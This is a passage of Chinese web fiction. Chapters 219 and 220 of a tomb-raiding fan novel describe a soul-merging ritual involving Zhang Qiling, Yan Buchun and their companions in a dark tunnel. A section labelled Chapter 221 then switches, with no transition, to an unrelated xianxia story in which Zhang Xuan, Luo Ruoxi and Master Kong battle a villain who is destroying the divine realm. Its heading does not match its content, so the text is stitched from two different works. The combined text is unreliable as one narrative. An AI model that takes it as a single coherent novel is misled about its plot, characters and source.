《盗墓青铜门之双生》 第219章 美得惊心动魄 这是他们第一次达成真正意义上的共识，衍卜寸思考了下，随后朝前走了一步，却突然感受到背后拉拽感，他偏头，见是张祈灵扯住了自己的衣摆，对方似乎是在担心这些人提供的帮助是否为另有目的，或者只是单纯的，以本能对未知者产生畏惧。 “不用担心，我和他说几句话，很快就回来，而且，等下我也需要阿祈你的帮助……”衍卜寸语气轻缓，连轻拍张祈灵的动作，都像在哄一个未开智的孩子。 等对方顺从的将手放下去以后，他才又像给奖励般，摸了把他的头，认真的问道，“待会儿融合可能会疼，你怕疼吗？” 张祈灵纯澈的眸子里，映着自己的倒影，衍卜寸只见眼前人乖巧的点了下头，但还是没有挪移开视线，似乎是在判断自己刚才那串话里的可信程度，不过在没有发现撒谎踪迹的时候，这人才真正放弃下来。 但皇上不急太监急，吴峫一把将张祈灵微凉的指尖全部握在手里，不停的吐着哈气，试图捂暖，并且还用眼神示意着胖子来帮忙，就连小哥也在按着张祈灵的肩膀，让他先坐在自己的包袱上等待衍卜寸那边的结果。 就连从鄢啸南身后走来的霍道夫，在察觉到这样泾渭分明，南北两极分化明显的氛围时，也默默的转移了话题，他的视线盯着张祈灵脚边，被外套裹着头的清如，疑惑的问，“她这是怎么了？” 这样的好奇，并非是他的医学情操在作祟，完全是，自己从众人所齐目认证的反派鄢啸南那里走过来，难免带着点倒戈的感觉。 张祈灵偏头看了一眼清如，才将视线挪到这个不爱笑，却戴着眼镜的青年身上，他的声音一贯冷淡的回答： “幻境。” 触及到这个在自己知识范畴以外的霍道夫，当场懵了竟连脸上的表情都失措的空白了一瞬，就连下一秒钟，等到他再次询问，每一个字眼里就都带着我很想相信你，但这也太玄学了吧的不可置信感了。 “是精神类疾病吗？还是，这里有什么生物，钻进了她的脑子里？”霍道夫扒开缠在她脑袋上的外套，好奇心爆棚，“不然，怎么可能耳朵流血啊？致幻……是蜘蛛毒吗？” 这几个疑问一出来，就轮到张祈灵跟看傻子一样的盯着霍道夫了，而霍道夫竟然在这人平静到毫无波澜的眸子里，看到了明晃晃的一个大字。 ——蠢。 而现在，衍卜寸已经来到了怪怪的面前，他面对着这张曾经骗过自己千年的，属于衍溢的脸，微微有些怔愣，但对方却不同他一样的情绪复杂，过于是怪怪的思想与常人各异，他向来是直来直去的。 所以，在衍卜寸用晦涩难懂的目光看向他的时候，他便没有任何的隐瞒，并将自己曾经的野心与经历全盘托出，他知道一旦融合就没有机会说这些了，现在才想要趁着最后的时间，讲个清楚，说个明白。 “我其实，比你更早知道我们之间的关系，但那时候的你还只是一个孩子，或许我早就应该杀了你，不然……今天单枪匹马，帅气冲进门的人就该是我了！” 这是一种嫉妒的言论，明面上的意思就是，没能在当时杀了你，就是在影响我如今的高光时刻。 衍卜寸不习惯对付一个孩子气的家伙，但是他拥有无尽的耐心和看穿怪怪的能力，于是，他并没有因为对方的话而产生任何的恼怒，只是轻笑了下，“你在撒谎吧，其实，你并不后悔放了我，不是吗？” 他能够轻而易举的，看穿怪怪所强撑着的高傲伪装，衍卜寸继续说道，“但值得庆幸的是，因为你当初的犹豫，现如今你收获了并肩作战荣辱与共的敌人和盟友，你成就了我，却杀了你自己，在这一点上，我虽然得到了所有的利益，但还是不如你，不如你洒脱，不如你不惧后果，因为，如果是我提前知道了分魂可以吞并的事，那么我会优先考虑杀掉你。” 怪怪听此，一直耷拉的唇角，终于勾起了此生最大的弧度，仿佛是个因得到夸奖，而沾沾自喜的小狐狸，满脸都写着，如此高贵的我，现在打算勉为其难的接受你的赞誉，你可要感激涕零的荣幸跪拜才对。 衍卜寸看着那笑颜，记忆却飘忽到了最初未化成人形的怪怪那时的温柔，它虽然一直执行着鄢啸南的命令，蹂躏折磨着衍家人，但始终对自己，是有一丝不忍在的。 他会将自己包裹起来，妄图以同样的冰冷身躯，去温暖毫无退路的自己，两个无法走出门的家伙，一个伸出它沾满鲜血的触手，裹住了同样浴血奋战的他，不知道这样相互依偎了多少年。 也好似在下一刻，长着这副模样的怪物，就跨越了衍卜寸回忆里的亘古断章，变成了收集到一颗红玛瑙般的石头，就能开心到不停在展露笑脸的衍溢，自己好似幻视到了，昔日对方问这些石头漂不漂亮的样子，那时候，世界里的主角光环天旋地转着，簇在一起，落在一个人身上，天真烂漫到连阳光都在偏爱衍溢。 紧接着，是搀扶着自己，最终差点磨破膝盖的陈十三，他是爱笑的，衍卜寸透过现今这个人的模样，才看清了自己所丢失的笑容，似乎他这辈子的所有喜乐，都转移着拴在了面前人的身上，它替自己，无论伪善还是真实的，都笑了千年之久。 衍卜寸有他们所没有的，他们有衍卜寸所没有的，一个不爱笑的主魂，被剥夺了真实的笑容，而分魂却用这不知真假的笑，笑了一千年多，直至今日，竟让衍卜寸有种，你替我活过，替我开心过的共在感。 而那些无法抑制的胆怯…… 衍卜寸骤然回头，将目光的终点顿挫在了张祈灵的身上，对方身体里的小寸，储存着他千百年来，个性里褪不去，冲刷不掉的软弱和无能，但却同时，还揣着那对张祈灵和自己的唯命是从与守护之心。 如果，要将他们这三个拆解过后形成的不同性格的人，硬提出一个相同点的话，那大约就是扮演癖了，毕竟，他们都曾为了达到某种目的，而伪装成了一个又一个不同的人。 小寸属于小辈，所以在恢复自由身，附到张祈灵体内的那一刻，就为了守护自己对衍光善的忠诚，而扮成了他吸引所有人的注意力，而怪怪也换了好多个各异的身份，有的是为了他自己，有的是为了别人，就连衍卜寸都曾经借了衍桂福的身份，卧薪尝胆着潜伏。 算是恶趣味吗？ 衍卜寸觉得自己的阴暗面实在是蔫坏。 直到，现今的一切都回归到本真，衍卜寸才从他们与自己的身上，看到了优劣结合的特征，最终构成了独一无二的他自己，彼此间，各自都拥有着害怕的恐惧，极度的自负与优柔寡断的个性，这些是缺点。 而优点，是拥有超强的执行力，快速的判断意识与不达目的不罢休的坚韧。 衍卜寸拢住怪怪的手，从那冷意中，似乎回到了当初对方伸出柔软的触手，轻点自己的额头安慰的时候，他眼含着细碎的闪烁亮光，坚定的冲对方道，“怪怪，走吧，去找小寸，去找到我们。” 而张祈灵在听到这句话之际，却突然猛地抬起了眼，视线跨过围拢在他身边的吴峫等人，从缝隙中挤了出来，似乎他半边的眸子里还掺杂着泪水，竟在黑暗的甬道中，凝出了一抹红。 原本对衍卜寸有所畏惧，知道自己懦弱到了极点的小寸也没想到，自己在这时候竟突然被对方承认为了共同体，就像是连自己都意识不到的优点被有心者放大了，这让他感受到了，自己好似被爱的错觉。 不，不是错觉。 他的魂魄间惺心相惜，他们本就应自爱。 “来找我了吗，哥哥？”小寸说这话的时候，笑的灿烂，却把握住他手的吴峫给吓了一跳，原因无他，实在是吴峫没发现，他们究竟是什么换的魂。 而属于张祈灵的那黝黑如墨的眸子，正和那单色的猩红，一同看向衍卜寸，连原本毫无波澜神情似乎也软了些，含着笑意，异色的虹膜，俊逸清冷的脸庞，让他美得惊心动魄。 第220章 劝慰自己安心 衍卜寸点头，应下了小寸的话，随即就将视线转向了胖子，“来帮个忙不？用你北派摸金校尉的真功夫。” 被这样如狼似虎的目光锁定住的胖子，显然有些懵，他甚至不可置信的伸手指了指自己，满脸不解的问： “啥，你们这个灵魂融合技还能让我大展拳脚呢？”他显然不清楚自己的重要性。 而衍卜寸却浅浅地抿出了笑容来，耐心的解答着，“这里的磁场并不稳定，融合分魂的过程中，可能会陷入混乱导致分魂离体以后，会不可控的脱离原定的轨道乱飞，而你北派的功夫里刚好有个东西，可以检验魂魄是否存在于周围……” “蜡烛！”胖子瞬间反应过来，将包里备好的一捆蜡烛全部拿了出来，并粗咧咧的夸着衍卜寸，“还得是文化人，这说话文绉绉的，我脑子刚才乍一听，都没转过来弯，不过，卜寸小同志，你这行内黑话属实还是差点意思，这说来说去，不就是总结三个字嘛……鬼吹灯！” 胖子这样夸着对方，又带着捧哏的将自己的本事也抬上去的行为，很快就让僵持的气氛瞬间活跃了起来。 而他也在衍卜寸的指挥下，将三根蜡烛摆成了一个规则的三角形，白蜡尚未被点燃，就那么直挺挺的立在地上，看起来就像是在办丧事，而且在这黑黢黢的甬道里，更显得诡异。 “我刚才所说的只是中途会出现的一种情况，但是蜡烛虽然能够确定灵魂的位置，但如果，因为磁场问题，真的无法将灵魂揉在一起的话，还需要一个人帮忙将四溢的灵魂归体，起码要保证我们三个人都是安全的。”衍卜寸看向黑瞎子，这么说着第二种情况。 而黑瞎子显然比胖子更清楚，为什么选择了自己，他藏在墨镜后的眼睛，狡黠的眯了起来，“你是想让瞎子我徒手抓？我好像没有那种超能力吧？” 说完这句话的时候，黑瞎子便看向了衍卜寸已然伸出的红线，对方之所以选择自己，就是因为自己能够看到别人看不到的东西，但显然自己也同样需要一定的东西辅助。 黑瞎子抬起右手，指尖同那探过来的红线相触碰，也就是在迅雷不及掩耳之际，那红线如同蛇一般迅速的缠绕上了他的整个手掌，并覆盖成一层类似于棉线手套一样的东西。 黑瞎子握了握拳，意料之外，他竟然没有被强烈束缚制控住的感觉，这样奇妙的东西，落在手上的时候，却只让人感到是薄薄的一层纱，或者仅是月亮柔和的光般，能够切实的用眼睛、触觉感受到这种存在，却无法真切的去描述出来。 “真帅。”黑瞎子由衷的感叹了一下，反复看着自己的手心手背，总有一种被天道选择成为主角的感觉，大约也可能是因为，他们三个人的性命现在都拴在自己的手里。 随即，衍卜寸看着黑瞎子将那红手套欣赏完以后，才将红线的源头所断掉，黑瞎子笑了笑，给那脱落下去线头的尾端，缠绕在手腕上，单手打了一个扭扭歪歪的蝴蝶结，“我准备好了，现在开始吧。” 衍卜寸瞧着对方信心满满的样子，又转过头看了看张祈灵和怪怪，安抚性的点点头，示意他们要相信自己，紧接着开始吩咐众人最后的事项。 “如果蜡烛的火光开始闪烁的时候，那就是灵魂出体，气息最不稳定之际，而灵魂一旦因为磁场远离了蜡烛中心，被拽走的话，黑瞎子你一定要把他拉回来，因为如果晚了那么一会儿，很可能我们中间的某个人，或者全部，都会变成活死人。”衍卜寸这句话，属实是将刚才胖子所烘托的雀跃气氛，给一下打散了，其最后的结果让人不寒而栗，因为大家都知道自己没办法承担这个责任。 吴峫在这时候，不安的捏了捏张祈灵的手，但却不知道该说什么话来安抚，事实上，他确实想要相信衍卜寸的融魂言论，可这危险的程度，绝对是人无法估量的，虽然附在张祈灵身上的只是一半的魂，但谁又能知道灵魂被撕扯开来的时候，会不会影响到张祈灵本身呢？ 他们都共同了生存多长的时间，如果硬要把两块不同的石头在液压机下，或者是高温环境里强行拼凑在一起，分离之际也是难舍难分的。 吴峫倒吸一口凉气，为自己所想象的极端结果，而惴惴不安，好在张祈灵反扣住了他的手，那发丘指细细的摸索着他的掌心，他心中担忧，抬眼平视着对方，他属实是没有想到，反而是处于风暴中心，即将面临极大危险的张祈灵，正在安慰着自己…… “一定要安全，剥离不开，就给我指令，我让黑瞎子生拉硬拽，也要把你救回来。”吴峫不知道，自己究竟是以什么底气来说这句话的，但他绝对清楚一点，那就是所有人都不想让自己的兄弟陷入莫大的危险当中。 黑瞎子那么重视张祈灵，而自己也放不开张祈灵，甚至是惦记张祈灵每日吃喝的胖子，与张祈灵并肩作战的小哥，出资出钱出力的解雨臣，甚至是后来的解雨臣，都无不真心实意的喜欢这个人。 他们不会让他死的，甚至是衍卜寸，只为张祈灵而来，绝对忠诚的衍卜寸。 至于献祭出全部光阴，生命的怪怪，他们实在是爱莫能助了，他和小寸是一个性质，一旦被抽离，就完全在这个世界上消失了。 不过，吴峫却觉得，如若衍卜寸真的能够成功，那么他的身上，也应当会将这两个人的记忆和存在，继续延续下去。 最终他们三人面对着中心的蜡烛而坐，衍卜寸的火机泛出潋滟的火光，等他点燃面前第一根白蜡的时候，就好像想到了什么，突然抬起头，对着霍道夫和张启灵吩咐了最后一句话： “吴峫有可能会再次发病，霍道夫你记得给他吃药，但如果还是抑制不了青铜铃的声音的话，张启灵麻烦你把他打晕，多谢。” 这么粗暴，且流氓解决问题的一句话，让当事人吴峫，感觉自己像被当成了疯人院的精神病，他虽然知道自己是不可控的元素，但是，对方毫不留情地把自己戳破，实在是有些难堪了。 偏偏霍道夫和小哥，真的是把衍卜寸的话给听进去了，前一个立马表忠心般，掏出了那苦到极致的中药袋，还嚣张的在自己的面前晃了晃，仿佛在提醒自己，你做好觉悟吧，我现在要准备拿捏你了！ 连小哥也拎住了自己的后颈，像是提小猫一般的，将自己带到了角落里。 被迫窝屈在晦涩之地的吴峫，只能僵硬的扯出了一个笑脸，然后从霍道夫和小哥的围攻下，借由缝隙看清了衍卜寸点燃了第二根蜡烛。 火光映红了张祈灵的脸，一点点的摇曳起来，浸染着那墨色的眸，仿佛呈现出了同另一只眼一样的红，吴峫顿时看呆住了，因为那样子，就像深色的琉璃珠里，掺杂了一点炸开的星光，也像是漆黑夜空中绽放的烟火，使得那清冷淡漠的神情中，竟让人看出了一丝柔软。 而下一刻，对面之人就好似感受到了自己的炽热且不懈追逐的视线，并恰好的抬起了头，与吴峫的目光相撞。 但这次，吴峫哪怕不握着手也能确定，看向自己的并非是小寸，因为不善言辞的张祈灵，正努力浅浅的漾出了一抹笑，仿佛是在劝慰自己安心。 第221章 情窦初开，无疾而终 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 